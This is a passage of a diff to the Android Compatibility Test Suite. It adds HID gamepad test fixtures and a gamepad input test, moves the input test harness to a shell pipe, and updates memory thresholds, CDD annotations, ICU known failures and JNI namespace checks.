- final Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
- bitmap.setDensity(0);
-
- final Canvas canvas = new Canvas(bitmap);
- dr.setBounds(0, 0, width, height);
- dr.draw(canvas);
-
- if (DBG_DUMP_PNG) {
- saveGoldenImage(bitmap, sourceResId, densityDpi);
- } else {
- final int goldenResId = getGoldenImageResId(sourceResId, densityDpi);
- final Bitmap golden = BitmapFactory.decodeResource(
- mContext.getResources(), goldenResId);
- DrawableTestUtils.compareImages(densityDpi + " dpi", golden, bitmap,
- PIXEL_ERROR_THRESHOLD, PIXEL_ERROR_COUNT_THRESHOLD, 0 /* tolerance */);
- }
- }
-
- private int getGoldenImageResId(int sourceResId, int densityDpi) {
- final String name = getGoldenImageName(sourceResId, densityDpi);
- return mContext.getResources().getIdentifier(name, "drawable", mContext.getPackageName());
- }
-
- private String getGoldenImageName(int sourceResId, int densityDpi) {
- return mContext.getResources().getResourceEntryName(sourceResId) + "_golden_" + densityDpi;
- }
-
- private void saveGoldenImage(Bitmap bitmap, int sourceResId, int densityDpi) {
- // Save the image to the disk.
- FileOutputStream out = null;
-
- try {
- final File outputFolder = new File("/sdcard/temp/");
- if (!outputFolder.exists()) {
- outputFolder.mkdir();
- }
-
- final String goldenFilename = getGoldenImageName(sourceResId, densityDpi) + ".png";
- final File goldenFile = new File(outputFolder, goldenFilename);
- if (!goldenFile.exists()) {
- goldenFile.createNewFile();
- }
-
- out = new FileOutputStream(goldenFile, false);
- bitmap.compress(Bitmap.CompressFormat.PNG, 100, out);
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- if (out != null) {
- try {
- out.close();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
- }
}
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
index 957c012..3adf811 100644
--- a/tests/tests/hardware/Android.mk
+++ b/tests/tests/hardware/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MULTILIB := both
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_down.json b/tests/tests/hardware/res/raw/gamepad_button_a_down.json
new file mode 100644
index 0000000..21f5186
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_button_a_down.json
@@ -0,0 +1,5 @@
+{
+ "id": 1,
+ "command": "report",
+ "report": [0x01, 0x01, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
+}
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_up.json b/tests/tests/hardware/res/raw/gamepad_button_a_up.json
new file mode 100644
index 0000000..ab1eb0e
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_button_a_up.json
@@ -0,0 +1,5 @@
+{
+ "id": 1,
+ "command": "report",
+ "report": [0x01, 0x00, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
+}
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/gamepad_delay.json b/tests/tests/hardware/res/raw/gamepad_delay.json
new file mode 100644
index 0000000..a25c3dd
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_delay.json
@@ -0,0 +1,5 @@
+{
+ "id": 1,
+ "command": "delay",
+ "duration": 10
+}
diff --git a/tests/tests/hardware/res/raw/gamepad_press_a.json b/tests/tests/hardware/res/raw/gamepad_press_a.json
deleted file mode 100644
index ff3ca4f..0000000
--- a/tests/tests/hardware/res/raw/gamepad_press_a.json
+++ /dev/null
@@ -1,39 +0,0 @@
-{
- "id": 1,
- "command": "register",
- "name": "Odie (Test)",
- "vid": 0x18d1,
- "pid": 0x2c40,
- "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
- 0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
- 0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
- 0x23, 0x02, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0b, 0x81, 0x02, 0x75, 0x01, 0x95,
- 0x01, 0x81, 0x03, 0x05, 0x01, 0x75, 0x04, 0x95, 0x01, 0x25, 0x07, 0x46, 0x3b, 0x01, 0x66,
- 0x14, 0x00, 0x09, 0x39, 0x81, 0x42, 0x66, 0x00, 0x00, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,
- 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x05, 0x02, 0x09, 0xc5, 0x09, 0xc4, 0x15, 0x00, 0x26,
- 0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0x85,
- 0x02, 0x05, 0x08, 0x0a, 0x01, 0x00, 0x0a, 0x02, 0x00, 0x0a, 0x03, 0x00, 0x0a, 0x04, 0x00,
- 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x91, 0x02, 0x75, 0x04, 0x95, 0x01, 0x91,
- 0x03, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x03, 0x05, 0x01, 0x09, 0x06, 0xa1,
- 0x02, 0x05, 0x06, 0x09, 0x20, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x81,
- 0x02, 0x06, 0xbc, 0xff, 0x0a, 0xad, 0xbd, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0xc0],
- "report": [0x01, 0x00, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
-}
-
-{
- "id": 1,
- "command": "report",
- "report": [0x01, 0x01, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
-}
-
-{
- "id": 1,
- "command": "delay",
- "duration": 10
-}
-
-{
- "id": 1,
- "command": "report",
- "report": [0x01, 0x00, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
-}
diff --git a/tests/tests/hardware/res/raw/gamepad_register_device.json b/tests/tests/hardware/res/raw/gamepad_register_device.json
new file mode 100644
index 0000000..cfd71eb
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_register_device.json
@@ -0,0 +1,20 @@
+{
+ "id": 1,
+ "command": "register",
+ "name": "Odie (Test)",
+ "vid": 0x18d1,
+ "pid": 0x2c40,
+ "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
+ 0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
+ 0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
+ 0x23, 0x02, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0b, 0x81, 0x02, 0x75, 0x01, 0x95,
+ 0x01, 0x81, 0x03, 0x05, 0x01, 0x75, 0x04, 0x95, 0x01, 0x25, 0x07, 0x46, 0x3b, 0x01, 0x66,
+ 0x14, 0x00, 0x09, 0x39, 0x81, 0x42, 0x66, 0x00, 0x00, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,
+ 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x05, 0x02, 0x09, 0xc5, 0x09, 0xc4, 0x15, 0x00, 0x26,
+ 0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0x85,
+ 0x02, 0x05, 0x08, 0x0a, 0x01, 0x00, 0x0a, 0x02, 0x00, 0x0a, 0x03, 0x00, 0x0a, 0x04, 0x00,
+ 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x91, 0x02, 0x75, 0x04, 0x95, 0x01, 0x91,
+ 0x03, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x03, 0x05, 0x01, 0x09, 0x06, 0xa1,
+ 0x02, 0x05, 0x06, 0x09, 0x20, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x81,
+ 0x02, 0x06, 0xbc, 0xff, 0x0a, 0xad, 0xbd, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0xc0]
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index a2ddb4d..324ad6d 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -39,6 +39,8 @@
import android.view.WindowManager;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
@@ -52,6 +54,7 @@
private static final long ONE_MEGABYTE = 1048576L;
private static final String TAG = "LowRamDeviceTest";
+ private static final long LOW_RAM_MAX = 1024;
private PackageManager mPackageManager;
private ActivityManager mActivityManager;
@@ -74,6 +77,7 @@
* Test the devices reported memory to ensure it meets the minimum values described
* in CDD 7.6.1.
*/
+ @CddTest(requirement="7.6.1/H-3-1,H-4-1,H-7-1,H-8-1,H-9-1,W-0-2,T-0-2")
public void testMinimumMemory() {
int density = mDisplayMetrics.densityDpi;
Boolean supports64Bit = supportsSixtyFourBit();
@@ -93,9 +97,9 @@
lessThanDpi(density, DENSITY_LOW, screenSize, SCREENLAYOUT_SIZE_XLARGE)) {
if (supports64Bit) {
- assertMinMemoryMb(704);
+ assertMinMemoryMb(816);
} else {
- assertMinMemoryMb(424);
+ assertMinMemoryMb(416);
}
} else if (greaterThanDpi(density, DENSITY_560, screenSize,
SCREENLAYOUT_SIZE_NORMAL, SCREENLAYOUT_SIZE_SMALL) ||
@@ -105,7 +109,7 @@
if (supports64Bit) {
assertMinMemoryMb(1824);
} else {
- assertMinMemoryMb(1099);
+ assertMinMemoryMb(1344);
}
} else if (greaterThanDpi(density, DENSITY_400, screenSize,
SCREENLAYOUT_SIZE_NORMAL, SCREENLAYOUT_SIZE_SMALL) ||
@@ -155,7 +159,7 @@
private void assertMinMemoryMb(long minMb) {
long totalMemoryMb = getTotalMemory() / ONE_MEGABYTE;
- boolean lowRam = totalMemoryMb <= 512;
+ boolean lowRam = totalMemoryMb <= LOW_RAM_MAX;
boolean lowRamDevice = mActivityManager.isLowRamDevice();
Log.i(TAG, String.format("minMb=%,d", minMb));
diff --git a/tests/tests/hardware/src/android/hardware/fingerprint/cts/FingerprintManagerTest.java b/tests/tests/hardware/src/android/hardware/fingerprint/cts/FingerprintManagerTest.java
index f11b6bc..bda8c12 100644
--- a/tests/tests/hardware/src/android/hardware/fingerprint/cts/FingerprintManagerTest.java
+++ b/tests/tests/hardware/src/android/hardware/fingerprint/cts/FingerprintManagerTest.java
@@ -24,9 +24,12 @@
import android.platform.test.annotations.Presubmit;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Basic test cases for FingerprintManager
*/
+@CddTest(requirement="7.3.10/C-1-2")
public class FingerprintManagerTest extends AndroidTestCase {
private enum AuthState {
AUTH_UNKNOWN, AUTH_ERROR, AUTH_FAILED, AUTH_SUCCEEDED
@@ -82,6 +85,7 @@
assertTrue(!hasEnrolledFingerprints);
}
+ @CddTest(requirement="7.3.10/C-1-2")
public void test_authenticateNullCallback() {
if (!mHasFingerprintManager) {
return; // skip test if no fingerprint feature
@@ -99,6 +103,7 @@
}
}
+ @CddTest(requirement="7.3.10/C-1-2")
public void test_authenticate() {
if (!mHasFingerprintManager) {
return; // skip test if no fingerprint feature
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
index accdcaf..b4bda4e 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
@@ -22,4 +22,7 @@
public interface InputCallback {
public void onKeyEvent(KeyEvent ev);
public void onMotionEvent(MotionEvent ev);
+ public void onInputDeviceAdded(int deviceId);
+ public void onInputDeviceRemoved(int deviceId);
+ public void onInputDeviceChanged(int deviceId);
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
index b16cadb..72aa056 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
@@ -17,15 +17,28 @@
package android.hardware.input.cts;
import android.app.Activity;
+import android.content.Context;
+import android.hardware.input.InputManager;
+import android.hardware.input.InputManager.InputDeviceListener;
+import android.os.Bundle;
+import android.util.Log;
import android.view.KeyEvent;
import android.view.MotionEvent;
-import java.util.ArrayList;
-import java.util.List;
+public class InputCtsActivity extends Activity implements InputDeviceListener {
+ private static final String TAG = "InputCtsActivity";
-public class InputCtsActivity extends Activity {
private InputCallback mInputCallback;
+ private InputManager mInputManager;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mInputManager = getApplicationContext().getSystemService(InputManager.class);
+ mInputManager.registerInputDeviceListener(this, null);
+ }
+
@Override
public boolean dispatchGenericMotionEvent(MotionEvent ev) {
if (mInputCallback != null) {
@@ -61,4 +74,20 @@
public void setInputCallback(InputCallback callback) {
mInputCallback = callback;
}
+
+ @Override
+ public void onInputDeviceAdded(int deviceId) {
+ mInputCallback.onInputDeviceAdded(deviceId);
+ }
+
+ @Override
+ public void onInputDeviceRemoved(int deviceId) {
+ mInputCallback.onInputDeviceRemoved(deviceId);
+ }
+
+ @Override
+ public void onInputDeviceChanged(int deviceId) {
+ mInputManager.getInputDevice(deviceId); // if this isn't called, won't get new notifications
+ mInputCallback.onInputDeviceChanged(deviceId);
+ }
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
new file mode 100644
index 0000000..e44bcb4
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.hardware.cts.R;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GamepadTestCase extends InputTestCase {
+ private static final String TAG = "GamepadTests";
+
+ @Test
+ public void testButtonA() throws Exception {
+ registerInputDevice(R.raw.gamepad_register_device);
+
+ sendHidCommands(R.raw.gamepad_button_a_down);
+ sendHidCommands(R.raw.gamepad_delay);
+ assertReceivedKeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_A);
+
+ sendHidCommands(R.raw.gamepad_button_a_up);
+ assertReceivedKeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_A);
+
+ assertNoMoreEvents();
+ }
+}
+
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index fba5f51..27ba081 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -16,68 +16,93 @@
package android.hardware.input.cts.tests;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
import android.app.UiAutomation;
-import android.hardware.input.cts.InputCtsActivity;
import android.hardware.input.cts.InputCallback;
-import android.system.ErrnoException;
-import android.system.Os;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
+import android.hardware.input.cts.InputCtsActivity;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
import android.view.KeyEvent;
import android.view.MotionEvent;
import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileWriter;
-import java.io.InputStream;
import java.io.IOException;
+import java.io.InputStream;
import java.io.OutputStream;
-import java.io.Writer;
-import java.util.ArrayList;
+
import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
-import java.util.List;
-import java.util.UUID;
-public class InputTestCase extends ActivityInstrumentationTestCase2<InputCtsActivity> {
- private static final String TAG = "InputTestCase";
- private static final String HID_EXECUTABLE = "hid";
- private static final int SHELL_UID = 2000;
+import libcore.io.IoUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+
+public class InputTestCase {
+ // hid executable expects "-" argument to read from stdin instead of a file
+ private static final String HID_COMMAND = "hid -";
private static final String[] KEY_ACTIONS = {"DOWN", "UP", "MULTIPLE"};
- private File mFifo;
- private Writer mWriter;
+ private OutputStream mOutputStream;
- private BlockingQueue<KeyEvent> mKeys;
- private BlockingQueue<MotionEvent> mMotions;
+ private final BlockingQueue<KeyEvent> mKeys;
+ private final BlockingQueue<MotionEvent> mMotions;
private InputListener mInputListener;
+ private Instrumentation mInstrumentation;
+
+ private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
+
public InputTestCase() {
- super(InputCtsActivity.class);
mKeys = new LinkedBlockingQueue<KeyEvent>();
mMotions = new LinkedBlockingQueue<MotionEvent>();
mInputListener = new InputListener();
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mFifo = setupFifo();
+ @Rule
+ public ActivityTestRule<InputCtsActivity> mActivityRule =
+ new ActivityTestRule<>(InputCtsActivity.class);
+
+ @Before
+ public void setUp() throws Exception {
clearKeys();
clearMotions();
- getActivity().setInputCallback(mInputListener);
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mActivityRule.getActivity().setInputCallback(mInputListener);
+ setupPipes();
}
- @Override
- protected void tearDown() throws Exception {
- if (mFifo != null) {
- mFifo.delete();
- mFifo = null;
+ @After
+ public void tearDown() throws Exception {
+ IoUtils.closeQuietly(mOutputStream);
+ }
+
+ /**
+ * Register an input device. May cause a failure if the device added notification
+ * is not received within the timeout period
+ *
+ * @param resourceId The resource id from which to send the register command.
+ */
+ public void registerInputDevice(int resourceId) {
+ mDeviceAddedSignal = new CountDownLatch(1);
+ sendHidCommands(resourceId);
+ try {
+ // Found that in kernel 3.10, the device registration takes a very long time
+ // The wait can be decreased to 2 seconds after kernel 3.10 is no longer supported
+ mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
+ if (mDeviceAddedSignal.getCount() != 0) {
+ fail("Device added notification was not received in time.");
+ }
+ } catch (InterruptedException ex) {
+ fail("Unexpectedly interrupted while waiting for device added notification.");
}
- closeQuietly(mWriter);
- mWriter = null;
- super.tearDown();
}
/**
@@ -89,9 +114,8 @@
*/
public void sendHidCommands(int id) {
try {
- Writer w = getWriter();
- w.write(getEvents(id));
- w.flush();
+ mOutputStream.write(getEvents(id).getBytes());
+ mOutputStream.flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
@@ -153,40 +177,20 @@
mMotions.clear();
}
- private File setupFifo() throws ErrnoException {
- File dir = getActivity().getCacheDir();
- String filename = dir.getAbsolutePath() + File.separator + UUID.randomUUID().toString();
- Os.mkfifo(filename, 0666);
- File f = new File(filename);
- return f;
- }
+ private void setupPipes() throws IOException {
+ UiAutomation ui = mInstrumentation.getUiAutomation();
+ ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(HID_COMMAND);
- private Writer getWriter() throws IOException {
- if (mWriter == null) {
- UiAutomation ui = getInstrumentation().getUiAutomation();
- ui.executeShellCommand("hid " + mFifo.getAbsolutePath());
- mWriter = new FileWriter(mFifo);
- }
- return mWriter;
+ mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
+ IoUtils.closeQuietly(pipes[0]); // hid command is write-only
}
private String getEvents(int id) throws IOException {
InputStream is =
- getInstrumentation().getTargetContext().getResources().openRawResource(id);
+ mInstrumentation.getTargetContext().getResources().openRawResource(id);
return readFully(is);
}
-
- private static void closeQuietly(AutoCloseable closeable) {
- if (closeable != null) {
- try {
- closeable.close();
- } catch (RuntimeException rethrown) {
- throw rethrown;
- } catch (Exception ignored) { }
- }
- }
-
private static String readFully(InputStream is) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int read = 0;
@@ -198,6 +202,7 @@
}
private class InputListener implements InputCallback {
+ @Override
public void onKeyEvent(KeyEvent ev) {
boolean done = false;
do {
@@ -208,6 +213,7 @@
} while (!done);
}
+ @Override
public void onMotionEvent(MotionEvent ev) {
boolean done = false;
do {
@@ -217,5 +223,20 @@
} catch (InterruptedException ignore) { }
} while (!done);
}
+
+ @Override
+ public void onInputDeviceAdded(int deviceId) {
+ mDeviceAddedSignal.countDown();
+ }
+
+ @Override
+ public void onInputDeviceRemoved(int deviceId) {
+ }
+
+ @Override
+ public void onInputDeviceChanged(int deviceId) {
+ }
}
+
+
}
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 45fed49..5b80a37 100644
--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -34,7 +34,7 @@
android-icu4j-tests
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsIcuTestCases
diff --git a/tests/tests/icu/AndroidTest.xml b/tests/tests/icu/AndroidTest.xml
index 2f8f611..be33fd2 100644
--- a/tests/tests/icu/AndroidTest.xml
+++ b/tests/tests/icu/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS ICU test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
index ebcbd78..a2e6dc4 100644
--- a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
+++ b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
@@ -11,45 +11,16 @@
},
*/
{
- description: "Class cannot be instantiated, cannot find resources android/icu/dev/test/serializable/data",
- name: "android.icu.dev.test.serializable.CompatibilityTest",
- bug: "27310873"
-},
-{
- description: "Cannot find any classes to test because .class files are not treated as resources in APK",
- name: "android.icu.dev.test.serializable.CoverageTest",
- bug: "27666677"
-},
-{
description: "Serialized forms have not been converted to use repackaged classes",
name: "android.icu.dev.test.format.NumberFormatRegressionTest#TestSerialization",
bug: "27374606"
},
{
- description: "android.icu.charset package not available in repackaged Android library",
- names: [
- "android.icu.dev.test.charset.TestCharset",
- "android.icu.dev.test.charset.TestConversion",
- "android.icu.dev.test.charset.TestSelection"
- ],
- bug: "27373370"
-},
-{
description: "Fails on host and on device in same way before and after packaging",
name: "android.icu.dev.test.bidi.TestCompatibility#testCompatibility",
bug: "23995372"
},
{
- description: "Problem with negative multiplier, not a regression",
- name: "android.icu.dev.test.format.NumberFormatTest#TestNonpositiveMultiplier",
- bug: "19185440"
-},
-{
- description: "Wrong case for exponent separator",
- name: "android.icu.dev.test.format.PluralRulesTest#testOverUnderflow",
- bug: "27566754"
-},
-{
description: "Checks differences in DecimalFormat classes from ICU4J and JDK but on Android java.text.DecimalFormat is implemented in terms of ICU4J",
name: "android.icu.dev.test.format.NumberFormatTest#TestDataDrivenJDK",
bug: "27711713"
diff --git a/tests/tests/incident/Android.mk b/tests/tests/incident/Android.mk
index 7d07ec0..1309c99 100644
--- a/tests/tests/incident/Android.mk
+++ b/tests/tests/incident/Android.mk
@@ -27,12 +27,13 @@
LOCAL_PACKAGE_NAME := CtsIncidentTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
#LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner
+ ctstestrunner \
+ legacy-android-test
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/incident/AndroidTest.xml b/tests/tests/incident/AndroidTest.xml
index e61f381..e42da3d 100644
--- a/tests/tests/incident/AndroidTest.xml
+++ b/tests/tests/incident/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Configuration for Incident Tests">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="metrics" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
index 7672d2f..c7fcf0b 100644
--- a/tests/tests/jni/Android.mk
+++ b/tests/tests/jni/Android.mk
@@ -28,9 +28,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test compatibility-device-util
LOCAL_JNI_SHARED_LIBRARIES := \
libjninamespacea1 \
diff --git a/tests/tests/jni/libjnitest/Android.mk b/tests/tests/jni/libjnitest/Android.mk
index 7140de4..0703722 100644
--- a/tests/tests/jni/libjnitest/Android.mk
+++ b/tests/tests/jni/libjnitest/Android.mk
@@ -42,4 +42,6 @@
LOCAL_SDK_VERSION := 23
LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index b72ebd6..b2af4df 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -78,7 +78,8 @@
static bool not_accessible(const std::string& library, const std::string& err) {
return err.find("dlopen failed: library \"" + library + "\"") == 0 &&
(err.find("is not accessible for the namespace \"classloader-namespace\"") != std::string::npos ||
- err.find("is not accessible for the namespace \"sphal\"") != std::string::npos);
+ err.find("is not accessible for the namespace \"sphal\"") != std::string::npos ||
+ err.find("is not accessible for the namespace \"(default)\"") != std::string::npos);
}
static bool not_found(const std::string& library, const std::string& err) {
diff --git a/tests/tests/jni/src/android/jni/cts/JniCppTest.java b/tests/tests/jni/src/android/jni/cts/JniCppTest.java
index 6993b29..762b29f 100644
--- a/tests/tests/jni/src/android/jni/cts/JniCppTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniCppTest.java
@@ -16,12 +16,15 @@
package android.jni.cts;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Basic tests of calling the C++ functions that make up the JNI. This
* class merely calls into native code and reports back if there was
* a problem.
*/
+@CddTest(requirement="3.3.1/C-0-2")
public class JniCppTest extends JniTestCase {
static {
if (!JniTestCase.isCpuAbiNone()) {
diff --git a/tests/tests/jni/src/android/jni/cts/JniInstanceTest.java b/tests/tests/jni/src/android/jni/cts/JniInstanceTest.java
index 7c16a3a..8831a3e 100644
--- a/tests/tests/jni/src/android/jni/cts/JniInstanceTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniInstanceTest.java
@@ -16,12 +16,14 @@
package android.jni.cts;
+import com.android.compatibility.common.util.CddTest;
/**
* Basic native instance method tests. The "nonce" class being tested
* by this class is a class defined in this package that declares the
* bulk of its methods as native.
*/
+@CddTest(requirement="3.3.1/C-0-2")
public class JniInstanceTest extends JniTestCase {
/** instance to use for all the tests */
private InstanceNonce target;
diff --git a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
index d2e90c6..2fde363 100644
--- a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
@@ -16,6 +16,8 @@
package android.jni.cts;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.IOException;
/**
@@ -23,6 +25,7 @@
* class is a class defined in this package that declares the bulk of
* its methods as native.
*/
+@CddTest(requirement="3.3.1/C-0-2")
